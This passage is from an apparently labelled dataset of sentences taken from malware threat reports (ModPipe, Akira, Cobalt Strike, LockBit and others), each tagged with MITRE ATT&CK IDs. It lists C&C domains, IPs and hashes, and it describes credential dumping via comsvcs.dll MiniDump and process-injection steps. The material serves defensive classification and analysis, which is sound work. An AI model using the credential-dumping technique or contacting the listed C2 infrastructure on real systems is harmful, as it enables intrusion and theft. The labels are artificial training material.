c81175d56aa006ad140799e39c800306b439ea98b9efc4491c269eccbfeebd4e c636ed3b0ca558a92687f60f0b37c0e44ff3a6d4f15acd3cfb858fee4b0b0916 833b871f342ba7b0e852363ed123682b99588888f01567e56942889d886bb4b2 daba97a67f219443ef4b0a39e2d051179d20de6a2febb927bec4108dcac1b3a6 5698feaacd122f75d69ed1d9a561ab7210051031e821b934b3022d48a185443b f58b9794f5b973625551333f469878c1df65302733f9a3e9a214e3739cee09bf Inno-Setup Installers 3416982484faefb7b0092cc639039863e52a9aa6ba0a277f943216a398dd0f8b 804f137c4253241cdcbbe8cd59181f0621cbd26bb8a78163b8bc0461d5f3bafb 20a1c15d016a2d11659a74ae9e23e57020a4023df4c9f8c0357a38b69eddfa08 14fe2d1d1df11d887f5c53a78af6e1885928aa9256b79cd365f2c1d39397c2f4 25a5422f4a4a1d11b242730adbce06673cefee533da62a8ddef93e0074a3ba75 7d64de081057d18b1503854386a351a76caac9d71aada177373ef77b597a4f06 C&C caseiden[.]com graeslavur[.]com rapadtrai[.]com baglamanotalari[.]comoscarnaija[.]com makananwisata[.]com seleriti[.]com seemlabie[.]top craceruib[.]topmahinetain[.]top", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "How to Detect Webinjects This technique can be prevented by detecting an injection into a web browser process.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "For example, Trickbot uses both VirtualProtect and VirtualProtectEx in its various versions.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Figure 4. NtProtectVirtualMemory prototype.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "How to Prevent Named Pipe Communication Between Injected Processes This technique can be prevented by inspecting named-pipe events.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "How to Prevent Heaven's Gate A WoW64 process usually goes through the wow64cpu.dll to perform the transition to x64 CPU mode.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "For example, Trickbot and Kronos have both used this technique.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Kronos mapping svchost.exe and patching its entrypoint.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "IcedID initiates svchost.exe hooking.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "As mentioned, svchost.exe was created without any parameters and it will try to exit.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "The provided address argument for NtProtectVirtualMemory is an exported function from one of the Windows libraries, and the NtWriteVirtualMemory written buffer is a hooking stub.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "They then dispatch an asynchronous procedure call (APC) to the APC queue of a target process thread using NtQueueApcThread, forcing the target process to call GlobalGetAtomA.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "And finally, we describe how these techniques can be used to detect malicious behavior, so it can be prevented.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "4becc0d518a97cc31427cd08348958cda4e00487c7ec0ac38fdcd53bbe36b5cc Webinjects: ef6603a7ef46177ecba194148f72d396d0ddae47e3d6e86cf43085e34b3a64d4 Emotet: dd20506b3c65472d58ccc0a018cb67c65fab6718023fd4b16e148e64e69e5740 Kronos: aad98f57ce0d2d2bb1494d82157d07e1f80fb6ee02dd5f95cd6a1a2dc40141bc Zeus: 0f409bc42d5cd8d28abf6d950066e991bf9f4c7bd0e234d6af9754af7ad52aa6 IcedID: 358af26358a436a38d75ac5de22ae07c4d59a8d50241f4fff02c489aa69e462f Dridex: ffbd79ba40502a1373b8991909739a60a95e745829d2e15c4d312176bbfb5b3e Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "By Chetan Raghuprasad, Vanja Svajcer and Asheer Malhotra.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "This shows that Cobalt Strike, although it was originally created as a legitimate tool, continues to be something defenders need to monitor, as attackers are using it to set up attacks.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "One of the techniques to conceal the traffic from DNS-based filtering is Domain Fronting.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Timeline of malware samples first seen in the wild.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Although there are no indications that the previous defacement of the domain by the Brotherhood of Myanmar and the campaign described in this post are related, the domain itself is clearly of interest to various actors.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Domain fronting can be achieved with a redirect between the malicious server and the target.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Cloudflare users have the option to use their own subdomain and create a DNS record that points to Cloudflare.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Summary of domain fronting of Myanmar government's domain.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Aside from this, there are several other standard libraries the malware links during the runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "After allocating the virtual memory and setting the page permissions to Read-Write-Execute, a decryption routine is executed that decrypts the remaining malicious code in the .kxrt section and writes it to the virtual memory.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The beacon resolves the proxy by calling WinHTTPGetProxyForUrlEx and WinHTTPCreateProxyResolver to bypass the proxy for the URL.", "labels": ["T1106"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The SSL certificate for the domain softlemon[.]net with the serial number 4aa6af6d719bfdd1c6dff3d7b640aed7ee3was issued by Let's Encrypt, a free SSL certificate provider.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "According to Shodan, the IP address 193[.]135[.]134[.]124 hosted by a Russian provider may be the real C2 IP address protected by the Cloudflare infrastructure as the SSL certificate served on port 8443 belongs to Cloudflare and lists the X509v3 Subject Alternative Name as DNS:*.softlemon.net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Conclusion Domain fronting is a technique used by attackers to circumvent protection based on DNS filtering.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Coverage Ways our customers can detect and block this threat are listed below.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "In both cases, the affected organizations had files encrypted with the “.akira” extensions and had nearly identical ransom note files, named fn.txt, dropped in the process (as shown below in Figure 1]. Figure 1: “fn.txt” ransomware notice This Akira ransomware bears no code similarity to a previous ransomware strain with the same name that was active in 2017 and is likely unrelated.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Credential Access Incident #1 Minidump of LSASS process memory leveraging comsvcs.dll with proxy execution by rundll32.exe.", "labels": ["T1003.001", "T1218.011"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The service name is a random eight characters and different strings were observed across different systems.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "4490 %%4492 ' '-' '0x00001400' '-' '0' '0x0000000000001318' 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' '-'] Guidance Dumping process memory to obtain credentials is a pervasive technique observed in most ransomware incidents.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Using the Minidump function of comsvcs.dll description: The minidump function of comsvcs.dll can be used to dump lsass.exe.", "labels": ["T1003.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The function requires the PID of lsass.exe.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1082 – System Information Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Incident #2 Utilization of a dual-use tool, Advanced IP Scanner, to discover other systems and networks.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[1149] RDP from from IP: Event ID: 25 - Remote Desktop Services: Session reconnection succeeded Event ID: 24 - Remote Desktop Services: Session has been disconnected Event ID", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Secondly, adopting a centralized jump server, which only admins can access with MFA and blocking at the network level other system to system RDP is a strong preventative control.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "A feature of Advanced IP Scanner is integration with Radmin to provide remote access to scanned systems Guidance Just as with the discovery activity, threat actor usage of dual-use agents is both commonplace and important to disrupt.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T11486 – Data Encrypted for Impact]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "As mentioned earlier, at this late stage in the attack, having full coverage on all systems with a properly configured XDR solution is vital to protect organizations from ransomware.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "We have also provided the YARA rule below, which can be used to identify Akira ransomware binaries.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Unfortunately, there are some edge cases where organizations have had their files encrypted within just 24 hours, and that type of threat really does require an experienced, global partner, such as Sophos, to augment your security program.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Trending Threats Adwind Trojan Circumvents Antivirus Software To Infect Your PC (September 24, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Obfuscated Files or Information (T1027) |", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "As of this writing, the unknown threat actors are believed to have been able to gain access to a handful accounts that had the same password for multiple accounts on other sites.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Brute Force (T1110) Off-Path TCP Exploit Allows Attackers To Steal Data Via Unencrypted Connections (September 21, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Domain Fronting (T1172) ZDI-CAN-6135: A Remote Code Execution Vulnerability In The Microsoft Windows JET Database Engine (September 20, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A threat actor could take advantage of this vulnerability by creating a specific file that contains data that is stored in the JET database format, and having the targeted user open it, which would then allow for remote code execution at the level of the current process.", "labels": ["T1210"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "However, it does still exemplify a significant vulnerability to the Bitcoin network.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The vulnerability is located in the driver files installed by the modem onto Windows machines, where the folder permissions allow anyone to read, write, execute, create, and delete anything inside that folder and its subfolders.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The file is intended to store text to help Windows improve handwriting recognition so it recognises and accurately suggests corrections and/or words based on what a user uses frequently.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This means that the actual data from the document’s text is stored in the WaitList.dat file, not just the metadata.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "My Cloud Allows Escalation To Admin Privileges (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This then allows the actor complete access over the device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This PHP file contains a payload download code that grabs malware to download and install the backdoor.", "labels": ["T1105"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The airport was able to contain the attack and restore the flight display screens.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The cyber incident appears to have been caused by security failings of a third-party provider, and the company’s internal systems were not compromised.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The email is directed to “Non-Resident Alien” tax payers to have them fill out a PDF file (that is attached to the email) that certifies one is a non-resident or foreign corporation.", "labels": ["T1566.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The attached PDF is named “W-8BEN Form.PDF” and impersonates a legitimate IRS form.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The first vulnerability, CVE-2018-1149, is an unauthenticated stack buffer overflow which allows for remote code execution with root/administrator privileges.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Another remaining unknown is ModPipe’s distribution method.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "ModPipe architecture Our analysis shows that ModPipe uses modular architecture consisting of basic components and downloadable modules (for a better overview see Figure 1): initial dropper – contains both 32-bit and 64-bit binaries of the next stage – the persistent loader – and installs the appropriate version to the compromised machine.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "networking module – module used for communication with C&C. downloadable modules – components adding specific functionality to the backdoor, such as the ability to steal database passwords and configuration information, scan specific IP addresses or acquire a list of the running processes and their loaded modules.", "labels": ["T1005", "T1016", "T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The list of all downloadable modules we found and analyzed, and their IDs – represented by a 16-bit unsigned value – are available in Table 1.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Downloadable modules Module IDNameDescription 0xA0C0GetMicInfoSteals database passwords, data and various settings 0x2000ModScanPerforms scan on the specified IP addresses -ProcListGets list of the running processes and their loaded modules 0xA000unknown- 0xA040unknown- 0xA740unknown- 0xA080unknown- Downloadable module: GetMicInfo GetMicInfo is a downloadable component that targets data related to the MICROS POS including passwords tied to two database usernames predefined by the manufacturer: dba and micros (see Figure 2).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the function stealing database passwords The GetMicInfo module can intercept and decrypt these database passwords, using a specifically designed algorithm.", "labels": ["T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "If the environment variable does not exist, the module tries to load the library using its name dbcapi.dll.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the function that steals database data The GetMicInfo module is injected into one of the processes specified by the C&C in the install command (0x0C).", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) explorer.exe We can confirm that the GetMicInfo module can successfully obtain the database passwords from RES 3700 POS v4.7 and v5.4.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The ModScan 2.20 module is injected into one of the processes specified by the C&C via an InstallMod command (0x72).", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) msdtc.exe jusched.exe spoolsv.exe services.exe Differences between the injected processes misused by GetMicInfo and those targeted by ModScan 2.20 might be caused by the fact that GetMicInfo module is injected only into processes running under WOW64.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the ModScan ping functionality When the ModScan module starts the scan, some of the following information may be gathered, depending on the parameters received along with the scan command: Version of the Oracle MICROS RES 3700 POS, which is acquired by sending an HTTP Post message (see Figure 5) to the specified IP address on port 50123 used by the MDS HTTP Service.", "labels": ["T1071.001", "T1082"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The sought-after information is stored between data xml tags (%version%) of the response from the service. 1234567891011121314151617181920 POST /%s", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The payload is responsible for decrypting the appropriate loader depending on the system architecture, so either 32-bit or 64-bit.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP POST or GET methods with headers shown in Figure 12 and Figure 13 can be used to upload data to C&C and download additional payloads and C&C commands.", "labels": ["T1041", "T1071.001", "T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP/1.1 Accept: */* Content-Length: %data_length% Content-Type: application/octet-stream User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache %data% Figure 12.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP POST header used to contact C&C GET %rsrc_path% HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache Figure 13.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Example C&C server response including encrypted payload If all conditions are met, the network module sends the C&C response to the main module using a pipe message with ID 0x10000072.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Probably the most intriguing finding is the algorithm hidden in one of the backdoor’s modules, which was specifically designed to steal credentials by decrypting them from registry values.", "labels": ["T1005", "T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Use reliable multi-layered security software that can detect ModPipe and similar threats.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Indicators of Compromise C&C IP addresses 191.101.31[.]223 194.32.76[.]192 23.19.58[.]114 88.99.177[.]103 91.209.77[.]172 5.135.230[.]136 C&C domains/URLs subzeroday.zapto[.]org shj145ertyb.ddns[.]net/gettime.html ouidji12345.ddns[.]net/gettime.html", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "TacticIDNameDescription ExecutionT1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Some Windows and MacOS versions of the application have been abused by the threat actor to add an installer that communicates with various command-and-control (C2) servers.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "According to 3CX, their Update 7 for Windows, version numbers 18.12.407 and 18.12.416, and Electron Mac App version numbers 18.11.1213, 18.12.402, 18.12.407 and 18.12.416, are affected.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "As part of our analysis, we also did a comparison of the ffmpeg.dll in 3CX with the same file in other Electron apps.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "Our analysis has shown only the 3CX ffmpeg.dll contains the malicious code.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "The above code checks if manifest exists and is writeable; if so, then it adds 7 days + the current system timestamp + rand() generated number % 21 days.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "Otherwise, it just reads the existing value from the manifest file.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "WHERE f.path like 'c:\\users\\%\\appdata\\local\\programs\\3cxdesktopapp\\app\\%'", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "We also recommend that users of 3CX’s software continue to monitor the company’s communications channels; they have a blog and also a support-and-information forum.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "Golang-based botnets in particular seem to be gaining the interest of threat actors.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "We found that this web shell was already deployed onto the victim server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "The initial vector of the GoBruteforcer and the PHP web shell campaign is not known yet.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "The GoBruteforcer malware hashes we found mainly targeted Unix-like (*nix) platforms, with versions for x86, x64 and ARM architectures.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Modules inside GoBruteforcer for scanning different services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Inside the modules, the malware first checks if the port belonging to the service is open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "For MySQL and Postgres Services When scanning for MySQL and Postgres services, the GoBruteforcer malware first checks whether ports 3306 and 5432 are open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "If the malware finds the ports open, then the malware tries to ping the host’s database with a certain username and password.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "On further investigation into the directories within the victim IP address, we found a web shell named x, (http[:]//victim-ip/x) with SHA256 de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "This is possibly an older version of the GoBruteforcer family that only targeted the phpMyAdmin service in order to infect web servers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Malware like GoBruteforcer takes advantage of weak (or default) passwords.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Shortly after @MalwareHunterTeam’s tweet, the fine folks of @vxunderground added their thoughts and shared samples: The relevance of this macOS specimen is well articulated in VXUnderground’s tweet: “Lockbit ransomware group has created their first MacOS-based payload.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Let’s take a peek via macOS’s codesign and spctl utilities:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "(So function and method names are left intact ….yay!)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Since the call to ptrace will now be skipped, we’re free to debug to our hearts content.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Next the malware copies a chunk of encrypted data (size: 0x2468 bytes) from a variable named apple_config to a variable named g_Config.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "000000010000b128 adr x21, #0x10005908c ;g_Config 000000010000b12c nop 000000010000b130 adr x1, #0x100058008 ;apple_config 000000010000b134 nop 000000010000b138 mov x0, x21 000000010000b13c mov w2, #0x2468 000000010000b140 bl imp___stubs__memcpy", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Clearly, nothing relating to macOS specifically …in fact more indications this code is simply a recompile of (pieces of?)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "The malware then de-XORs other strings, with the hard-coded key of 0x39 000000010000b260 ldr w8, =0x1964126200000039 Most of the strings are de-XOR’d in a function aptly named de_xor_all.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we >>>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Then I kicked off a file monitor, filtering on the locker_Apple_M1_64 process: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "First, Apple has been fairly proactive about mitigating ransomware attacks on macOS (and maybe this is why we’ve yet seen a major ransomware outbreak on macOS).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "This means even if ransomware finds its way onto a macOS system it won’t (easily) be able to mess with core OS files.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "This means, that without an exploit or user-approval users files will remain protected.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "And while this may be the first time a large ransomware group created ransomware capable of running on macOS, it worth nothing that this sample is far from ready for prime time.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "From it’s lack of a valid code-signing signature to its ignorance of TCC and other macOS file-system protections as it stands it poses no threat to macOS users.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Moreover, the variant is rather buggy …containing flaws such as buffer overflows that will cause it to prematurely exit, when run on macOS: The likely explanation to all this, is that the specimen we looked at today is test (or beta): “Cisco Talos researcher Azim Khodjibaev told BleepingComputer that based on their research, the encryptors were meant as a test and were never intended for deployment in live cyberattacks.”", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "And, if nothing else, make sure we’re adequately prepared for future attacks that likely will be more polished and thus pose a greater risk.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Interested in Mac Malware Analysis Techniques?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Palo Alto Networks customers are protected from this threat through WildFire and Cortex XDR.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "First, let’s take a look at what IronPython is and why it was chosen as a loading vector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Also, IronPython scripts don’t run with the original Python interpreter when .NET framework APIs are used in the code.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The key features of the malicious IronPython scripts are as follows: Function and variable names are obfuscated.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).We have found two versions of the .NET injector, a newer variant internally named NetInjector compiled in 2019 and an earlier variant named PeInjector_x64 compiled in 2018.", "labels": ["T1027", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The earlier variant is much more limited in functionality compared to the 2019 variant.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Also, it can load payloads into its own process space, the IronPython interpreter process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Based on the file sizes and the file sizes of the embedded payloads in the IronPython scripts, we can make some assumptions about what the payloads likely are.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "injector in profilec.py of same submitter • payload.exe: ComRAT v4 variant (DLL), most likely embedded in profilec.py of same submitter – 5 – • part_1.data: .NET injector (variant 2018), most likely embedded in prophile.py of submitter 1 • part_2.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 • part_3.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 – Table 1.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created: Figure 3.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The task file is then used to create a task which in turn starts a script when triggered.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "It’s also unclear why the attacker would use such an old version of IronPython.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Load() method of the C# Reflection namespace.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The output is then parsed to the targeted process ID with the help of tasklist filters.", "labels": ["T1057"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Finally, the injector’s public methods Invoke() and InvokeVoid() get called.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "MetaDataTables PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The DefaultSerializer class exposes four public methods: InjectAssembly Invoke InvokeAssemblyMethod InvokeVoid These methods are used pairwise.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "LoadAssembly: Load .NET assembly passed as a parameter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} 